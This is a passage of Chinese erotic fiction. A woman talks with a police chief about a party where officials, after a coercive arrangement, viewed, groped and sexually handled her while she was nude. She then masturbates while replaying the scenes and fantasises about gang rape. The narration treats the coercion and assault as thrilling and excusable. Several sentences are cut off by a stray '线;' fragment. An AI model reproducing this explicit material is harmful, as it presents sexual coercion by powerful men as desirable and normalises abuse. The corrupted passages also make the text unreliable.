「谢谢,味道不错。」我点点头。

林大可一直端详著我,眼光激动善良而执著,看得我有些害羞。

「干嘛这样看著我?」忍不住我问他。

「啊哦,对不起.......就是想看哪。」他笑著并不移开目光。

「有什麼不对头的吗?」我上下看著自己。

「我.......我在努力认出您.......」

我脸一下红了,又是一个「格式化」!好不难堪,可也挺刺激。

「穿上衣服让你认不出来了?」我大胆问了一句,说完自己竟先笑起来。

林大可跟著笑,脸也红了,这是我喜欢的氛围。

「应当把你脑袋裡的文件全部删除乾净!」我撅起嘴。

「有些文件是固有程序,脑中不能删除的。」他笑瞇瞇看著我。

「那是男人固有的本性,哼!」

「我承认,本性,也是人性.......男人女人都有各自的人性......」他抬
头上望作思考状。

「那天,我前所未有的发见了自己的本性,或者说是人性.......」

我没说话,一个劲儿看著他。

「.......,多年来的刑侦工作,同罪犯打交道,接触的都是野蛮、血腥。
罪恶和死亡,时间长了,我们自身也受其影响,变得冷漠无情,尤其对待犯罪嫌
疑人往往失去冷静.......」

「在派对上,我被美丽震撼,也激起了欲望......似乎找回一些被业务挤压
扭曲的人性,我想,自己首先是个人,有七情六欲,那麼别人,包括我们抓捕的
对象,他们也是人,也有人性的一面,我们的执法是否应当有所改变或改善...
..

您在无意中引发了我的思考,等於给我上了一课......」

他的想法令我意外,难道我会起到这个作用。俗话说美能净化心灵,可我展
现给他们的算是美还是色情?

「我可没给你们上课,也不会用这种方式上课的。」

「我想知道你们事先知道董啟设的安排吗?」这点对评价林大可和那三位官
员的动机和人品很重要。

「董啟设告诉我们安排你做一次惊艷的演出,当然我们知道是佛洛依德,对
此早有所闻,也很嚮往。可是我们不知道您和您朋友的关系,一点儿都不知。」

「真的吗?」我盯著他的眼睛,担心他说谎。

「佛洛依德表演后大家閒聊时,董啟设告诉了我一切,他让我给你朋友放一
马。其他人仍然不知道。啟设这人做事谨慎,无关的人不会说,你想他开始对你
採用类乎黑社会的方式,别的人知道对他有什麼好处呢。」

原来如此!心裡鬆快许多。那三人只知道我是董啟设的朋友,一起為他们表
演。

「以前有过类似这样的派对吗?」我需要瞭解更多。

「不瞒您说,啟设和我们四个人是个所谓的小团体,我们有自己的规则:会
面喝酒娱乐联络感情,但彼此需求的事情单谈,不再团体内公开。这是為了保护
每一个人。」

「就是说万一一个人出事儿,顶多供出另一个而不会累及其他。」我打断他
,这小团体让我反感:「还没回答我派对的事呢。」

「你说的很对,我们需要自我保护。我们的派对大部分无外人,喝酒,打牌
,或者三三两两个别交流。找来外人嘛,次数有限,那是只能纯粹娱乐。」

「招什麼人,怎麼娱乐?」我追问。

「别误会成招妓,不可能有的,就是哪个人想做这个也不会当著别人面儿啊
。娱乐嘛,请模特表演时装,也有时请歌星,当然是二流的,一起卡拉OK什麼的
。」

想起书法的最后,我问:「少不了对人家性骚扰吧?」

「........不能说一点儿没有,可很轻微,线;可很深了。」他看著我,现出抱歉的神情。

我被激怒了:「為什麼?為什麼只对我这样!......」这些道貌岸然的家伙
,太可恶了!

「知道您会生气,可我必须对您讲实话,别急,请让我讲完......」看见我
发怒的神情,他有些紧张。

「这样吧,说说我个人内心的感受。 派对上第一次看见您,我立即就有一
种前所未有的感觉,一瞬间麻木僵持,就是所谓的中电吧?」

「这话对所有女人都这麼说吧?」

「.......」林大可痴痴地看著我:「.......六宫粉黛皆无色.......」

他讲的和彭主任一样。

「.......过去不仅在我们的派对,也在别的场合较為近距离接触过不少女
性,性感诱人的也有些许,可是看见您,那些都黯然失色,这和喜新厌旧无关,
就是感觉,无法改变的感觉。」他像是自言自语的说。

他在讲真话,看著那凝思的神色,我觉得没有骗我。

「那感觉很难用言语表达清晰,反正,反正我被震撼震慑了,随著和您接触
距离的接近,我似乎已经失去自我,那个常态的我,毋庸置疑这裡有性的成分,
而且很大,但不光是性,更是魅力和您的单纯。」

我不解:「单纯?」

「您是个没有多少城府,毫无心计,容易信任和善待他人的女人。整个过程
我看得清清楚楚。这最令我感动,我们以前接触的那些女士,都缺少或没有这方
面的品味和品质。」

「我是个简单的人,不然也许没有派对的事。」

「不是安慰,您得到了我们的尊重。」

「是你还是他们?」

「都是,程度会不尽相同,但肯定都是。」

我没理由不相信他的话,心情转阴為情。

「大可,谢谢你对我说了这些,相信是你的心裡线;我很欣慰。」

「林老师.......」

「别再叫我林老师,我不是你们的老师。」觉得话语生硬,又加了一句:「
叫我林雪萍或雪萍吧。」

「林.......雪萍.......我希望成為你的朋友,当然这个愿望可能过分...
...」

「不是因為看见了我的裸体才想成為朋友的吧?」我笑著问。

「这......这麼说呢,我不否认看见您后对我的震慑,更不否认对您美丽的
喜爱,可更重要的是一种感觉,挥之不去的感觉,如果我的人生存在您的友谊,
会激发我对一切的珍爱。别误会,我不会要求您什麼,其实您给我的已经足够,
已经十全十美了。」

「这也是你所说的人性吧?」

「是吧,雪萍,请原谅我说不清,或许这种事情难以用语言说清,希望你那
个理解,当然理解这个很难.......」

「大可......」我再次亲暱的称呼他,算是对雪萍称呼的回应:「你说的这
麼复杂,简直把我给搞糊涂了。你是个真实的人,也让我感到线;」

林大可看著我,显然很激动。

「相信我们的友谊不是建立在肉体和欲望上的,虽然我们相识有这个因素.
.....」

林大可伸出手:「感谢你的信任!」

握著她的手,很激动:「我觉得可以和你无话不谈。」

「再次谢谢信任。」林大可眼睛发光:「和你敞开心扉是美好的精神享受。
我愿把内心深处向你敞开,一吐為快。这些年一直想找到一位可以倾诉的朋友,
你就是。」他再次握住我的手,特别有力。

「大可,有许多线;从哪儿说起呢?」我尽量使劲儿握著他
手,虽然力气比他小得多。

他感到了我的诚意,又加上一隻手:「任心之所想,无拘无束,你说什麼我
都理解,线;」

顿时觉得千言万语充满心间,还夹杂著朦朧的羞涩和欲望,想说,想和这位
英俊的公安局长吐出真言。

「我很迷茫,不知道自己是什麼样的女人.......我淫荡吧?」看著他,我
涨红了脸。

「我不这麼看。」他用一隻手掏出香烟和打火机,另一隻手还是握著我,很
紧,似乎生怕我被冷落。

「為了朋友,你做出了一个人,一个女人难以置信能做的事。这个捨身取义
的举动让我们男人自愧不如。当然我说的『捨身』绝不是那种含义。」他单手点
燃香烟:「你来一支吗?」

我拿过他的烟放在烟缸上,又取出一支点著递给他,接著吸起他那隻。

他很感动:「雪萍,你的仗义会得到好报的,不是安慰,肯定会!」

「谢谢。可是......可是......我后来的举止是不是太......起初董啟设给
我彩绘,让我表演佛洛依德是出於无奈的,可后来,不如说开始表演,灯光一开
,我好想变了,竟然出来了情绪。说实话,接著的走进,被你们围观,我.....
.我很兴奋,在告知大家我什麼都没穿时,我很衝动,你们惊讶我是全裸时,我
很刺激.......再后来喝交杯酒被摸屁股我是愿意的,更甭说董啟设向你们描述
我肉体和书法了......我是个坏女人吧?」

一吐為快之后心裡倒鬆快些,也隐隐有种暴露隐私的快感,就像袒露肉体一
样。

大可继续握著我手:「雪萍,谢谢你对我说了这些,如果不是真诚和信任,
作為女人是绝对不可能说的。我的第一个也是最强烈的感觉还是你把我当作最知
心的朋友,对此我感谢不尽!」他掐灭烟,接著又夺过我的烟掐灭:「方纔不是
谈到人性吗?你说的这些我都认真思考过,让我谈谈心裡话好吗?喝口咖啡。」

他拿起我的杯子递过来。我没接,却伸头把嘴凑过喝了一口。

「你不仅是个美丽的女人,更是个有情有义有血有肉的女人,请我用『真正
的女人』来评价。」

我摇摇头:「别安慰我.......」

「绝不是!如果安慰你,我就太虚偽了。请听我说。世间所有的事情都是多
元和复杂的。开始你肯定是不得已的,為了朋友不得不接受,但客观的说,董啟
设的作為虽有强制和欺骗,但也有些许分寸,我想那是除了羞涩难堪,不是特别
恐怖吧?」

「是的,有些恐惧,可谈不上恐怖。」我承认。

「这点很重要,那个场合下你的心态是矛盾的,虽不得已,也有顺其自然的
成分.......」

我点头认可,他说的贴切。

「你有艺术的天赋,也有职业的素质,当你下决心决定表演时,我清楚下这
个决心是有一番犹豫难堪的。你潜在的艺术气质和表现欲并发出来,你投入了。
从灯光打开,你摆出骄傲的造型起我就强烈感到了,当你转身,开放的迈步展现
骄傲的身躯线条,尤其是腰臀时,就更明白了。请让我说,你把我们带入仙境!


我害羞了,心裡却甜蜜蜜的,他说的真好,我爱听。

「女人,只要是心态正常的女人都喜欢被人夸讚,你这样美丽的女人自然喜
欢得到讚美,在这特定的场合中勇於暴露身体,除了这一点,更是自信和激情。
还有你的职业决定和他人不同,对人体的演示有开放的观念,这无可非议。」

「可我是不是太过分了?回忆起简直匪夷所思。」想起和交杯酒时认可被长
时间摸屁股,书法时完全展开私处,直脸红。

大可看出我的心思:「是有过分,可这过分责任基本不在你,而是我们。你
一个娇弱女子被裹在群狼中,能怎麼样?你让我们喝四杯酒就答应书法的建议是
為了保护自己,清楚记得你穿著高跟鞋,晃扭著身体提著酒瓶走来的样子,别介
意,我觉得那形象楚楚动人又令人怜香惜玉,那是冒险哪。」

「咳,你们喝了假酒也好,不然喝坏了就出事了。」想起两位心臟发病的官
员。

「你真是个善良的人,换了其他人不仅不计后果,或许还幸灾乐祸呢。」

「大可,别把我想的那麼好,你应当知道在那些场景中,我也有一种.....
.欲望,想释放。」

「这是人之本性的体现,无可指责。也说明你的简单,或说单纯吧。」

眼泪止不住的流出,两手使劲抓住他的手:「大可,谢谢你的理解......」
我低低的啜泣。

「雪萍,别.......别这样。我无意让你伤心.......」

「我是高兴,真的,打心眼儿裡高兴.......」

「那太好了,我们谈些轻鬆地话题吧。」他把啤酒倒上。

我痛痛快快的和他连喝三杯,心情大為舒缓。

「实话告诉我,你喜欢我的......我的屁股吧?」

「老实说,喜欢,很喜欢。」大可笑著,没有不好意思。

「哼,我早就看出来了,你总是往哪儿盯,至於吗?」

「佛洛依德亮相后你转身进入灯光区,见到那扭动的细腰丰臀,妖艷夺目,
我像被闪电击中,有些窒息。不用说别人也一样。后来站在你身旁和身后,得以
近在咫尺观赏,是难以置信的享受。且不说肌肤的细嫩洁白无瑕温润如玉,那高
高的隆起,无论从后面还是侧方,尽显妙不可言的曲线美,实在是鬼斧神工天赐
美物。能不著迷吗?而且特别结实,弹性十足。」

「噷,不打自招,摸我屁股了吧?」

「当然。」他举起右手:「至今这感觉还在呢。」

「知道你们一起伸手,还摸了那麼长的时间,挺满足吧?」

「心满意足,更意犹未尽。」

看看周边,我们轻轻笑起来。

「如果以后你想起林雪萍其人,第一影像是裸体的,还是现在这样穿衣服的
?」

「只能如实告白,多半是前者。」

「呀,那多糟糕!给你这麼坏的印象。」

「怎麼不好?女神,是女神啊。」

「反正不让我穿衣服,你脑中那该死的文件夹。」真是没办法,他和他们总
是这样记忆我。

「这也没什麼不好,你被我,被我们深刻记忆,美好的,令人感动感激的记
忆。你会得到回报,一定。」

「不是又安慰我?哪有什麼回报。不在心裡糟践我就行了,我说的是他们几
个。」

「他们也不会,我比你瞭解这些人,知道百姓们对政府官员的印象不太好,
可这几个人也有优点,知恩图报。让时间证明吧,你会看到的。」

「你的手真大。」我摸著他宽厚的手掌:「真有警界雄风。」

「在部队我是侦察兵,退伍后干刑警,一直坚持锻炼。」

「嗯,挺男人的,第一面我就是这个印象。」

「好像你对我始终都没有反感。」

我点头承认。

「你们抓到犯人用刑吗?」

「对犯罪嫌疑人的审讯室有严格制度的,绝对禁止逼供信。但不排除个别情
况个别人搞刑讯逼供。我是不允许的。」

「你们对女犯人呢,有没有过分的举止?」

「我办的案子没有,倒是有的女犯人,比如有个年轻的女毒贩,审讯时没上
銬,她竟然脱光衣服。」

「那时你什麼反应?」

「意外,气愤。」

「就没有别的?」

「那个女毒贩到有几分姿色,可当时立即叫女警处理。事后吗,回想起,也
有点儿那个。」

「嗯,你到挺老实。」

望著他宽阔厚实的肩头和胸脯,我想入非非,若是被他紧紧地捆起来会是多
麼刺激。

「雪萍,你在想什麼?这麼对犯人的事有兴趣?」

我笑了:「你可谓侠骨柔情。有你这个知心朋友,我很幸运。」

「作為知心者,容我给你个忠告。」他显出严肃神情。

「?......」我有些紧张。

「如果还有机会去国外,尽早过去。你太单纯,暂时还不适应这裡的环境,
等出去歷练一两年在回来,会有大发展的。」

他说的同铁麟一样。

「谢谢,知心的好朋友!我一定认真考虑。」

「噹啷!」我们站起使劲碰杯,不在乎旁人是否注视。

「多保重吧,雪萍......」林大可恋恋不捨的望著我。

在下楼的转角处,趁著无人,我们几乎同时拥抱对方,接著亲吻,我把他双
手拉到屁股上,接受有力的抓捏。

「大可,听你的,我会出去磨练。等我回来.......」

我没去见纪委主任宋黎辉,觉得不合适,董啟设也没坚持。和宋书记的见面
是在一年以后,那时我们都发生了很大的变化,唯一不变的是他脑中那个「裸体
林雪萍」的文件夹。他告诉我从那天开始,他的书法废了,一拿笔,眼中总是浮
现写那八个字的地方,特别是哪个点睛,手就发抖。不过他觉得值。





10.悔悟

老四将我送回家。

躺在床上回想起过去的两天,恍惚如梦。

这是又一次惊异艷丽而放荡不拘的经歷,如同一个探险者,我冒著失身和身
败名裂的危险在狼群中裸露周旋了四五个小时,几度接近「核爆炸」临界值,险
些失足於深渊,可我过来了,完成了惊险艷丽的旅程返回,到家裡了。

现在心裡不但没有后怕,反而充满心境荡漾的回味。那一幕幕场景真是怯意
快乐兴奋无比啊,充满近乎窒息的羞涩却不再有任何提防担心,在回放每一个细
节中体味快感,肆无忌惮的衝动。

啊,太强烈的刺激了!一丝不掛的肉体被一群男人像衣服样的紧紧包裹,被
无餘的饱览,被评论乳房、大腿、屁股、阴毛,被拷问自己的感受,被揭开密处
,被书法,被盖印,被抚摸,被指奸.......

把手探进内部阴部,紧夹双腿,气喘吁吁,再次回放那淫靡的场景加之自己
的遐想发洩性欲:想到他们恍然大悟得知阴部是彩绘,啊,露出了突突抖动的阴
蒂---我洩了;想到对屁股、腰的测量和评价,啊,他们在屁股乳房上抓来摸去
呦---我洩了;想到双腿被掰一览无餘的袒露开,彻底曝光啦---我洩了;想到冰
冷坚硬的印章死死按压在阴阜,留下耻辱的印记---我洩了,想到几隻手摸到阴
唇插进阴道,天哪,让他们轮姦我吧!----我高声尖叫不已,射出了最猛烈的阴
精..........

那些北极、险峰、沙漠的探险者在图中歷尽磨难,成功之后他们的感受当与
我类同吧?可是他们永远不满足,永远继续一个个的下一次,直至年迈体衰或死
亡........我呢,我会像那些探险家一样无尽无休的追求吗?不知道,我不知道
.......

睡到翌日下午才懒洋洋的起床,下体的粘湿让我想起昨夜的狂乱,林雪萍,
你好淫荡啊,自嘲著冲完澡,沏了一杯速溶咖啡。

手机没有来电记录,只有董啟设的短信:「可否一起吃晚饭?」

我没回复,看著短信又胡思乱想起来。

应当这样评价董啟设其人呢?这个将我网入圈套,带给我纷乱精彩,最后享
用了我肉体的男人,当然我也享用了他。

对於和他的性交,我没后悔,甚至怀念他的刚猛。如果没有李永利的酒后过
失,董啟设不会出现,在艺院裡我们会擦肩而过,最多点头示意。也不会有那个
派对,不会有我人生第三次艷丽色情的经歷。

对他安排的这个经歷,我是应该感谢呢,还是憎恶?显然不是后者。想来想
去只能得出一个结论:天意,甚至缘分。

我回了个短信:「晚宴不会是又一个派对吧?」

他立即回复:「你喜欢派对吧?」

「做你的美梦去吧!」

他马上又来:「美梦成真,派对永存。」

搞不清他是怎麼想的,只得回复:「你还没够吗?」。

回答是:「美丽伊始,永无尽头。」

我正想著怎麼回复,进来一个短信,是张铁麟的。

「万分羞愧,无言以对,大恩不言谢,深情永不忘。」

铁麟自谦自责的短信犹如电击,一屁股坐在床上。

控制不住身体的颤抖,我狠狠地骂自己,派对既已结束,為何还要与董啟设
短信联繫,还想投入他的怀抱吗?感觉我在背叛,既背叛铁麟他们,也背叛自己
,不由得羞愧万分.......

立刻托词谢绝了董啟设的晚宴。

这一宿我辗转反侧难以入梦。一个个情节场景走马灯在眼前出现,艺院拍人
体照,给铁麟他们看照片录像,佛洛依德演示会,金主任家中补拍,他的行為艺
术与SM,他的葬礼,穿脱晚礼服,白红黑三角布,打扑克,捆绑,抽屁股,剃毛
口交,彩绘,零距离接触,书法,狂乱做爱......这些场面越转越快,令我头晕
目眩眼花繚乱.......

「啊!」我摀住头尖叫。

脑中的旋转慢慢停下来,定格的画面是张铁麟。

..........

第二天一早赶到机场,买了最早去北京的航班。

到北京后住在一个朋友家裡,关掉手机,只保留电子邮件。

我要一人独处静静地思考,回顾评价过去,筹划将来。